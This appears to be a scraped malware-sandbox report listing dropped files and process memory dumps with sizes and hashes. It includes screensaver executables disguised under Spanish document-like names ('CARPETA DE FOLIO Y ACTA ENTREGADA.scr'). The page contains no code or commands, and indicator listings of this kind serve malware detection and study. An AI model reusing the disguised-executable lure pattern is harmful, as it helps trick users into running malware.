f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
memory/672-103-0x0000000002540000-0x0000000002580000-memory.dmp

Filesize
256KB

Download
memory/916-364-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/916-359-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/1316-97-0x00000000021E0000-0x0000000002236000-memory.dmp

Filesize
344KB

Download
memory/1316-93-0x00000000008A0000-0x0000000000904000-memory.dmp

Filesize
400KB

Download
memory/1316-179-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-183-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-187-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-191-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-195-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-199-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-203-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-175-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-171-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-101-0x0000000002240000-0x0000000002280000-memory.dmp

Filesize
256KB

Download
memory/1316-167-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-163-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-159-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-155-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-151-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-147-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-143-0x0000000000560000-0x0000000000583000-memory.dmp

Filesize
140KB

Download
memory/1316-140-0x0000000000560000-0x000000000058A000-memory.dmp

Filesize
168KB

Download
memory/1828-279-0x0000000000880000-0x0000000000954000-memory.dmp

Filesize
848KB

Download
memory/1828-280-0x0000000004B00000-0x0000000004B40000-memory.dmp

Filesize
256KB

Download
memory/1936-276-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/1936-361-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/2072-243-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/2072-363-0x0000000000430000-0x0000000000470000-memory.dmp

Filesize
256KB

Download
memory/2388-100-0x0000000004AD0000-0x0000000004B10000-memory.dmp

Filesize
256KB

Download
memory/2388-98-0x0000000004720000-0x00000000047E8000-memory.dmp

Filesize
800KB

Download
memory/2388-141-0x00000000005F0000-0x0000000000613000-memory.dmp

Filesize
140KB

Download
memory/2388-94-0x0000000000110000-0x00000000001E4000-memory.dmp

Filesize
848KB

Download
memory/2388-253-0x0000000000620000-0x0000000000621000-memory.dmp

Filesize
4KB

Download
memory/2404-287-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2404-289-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2404-288-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2628-109-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download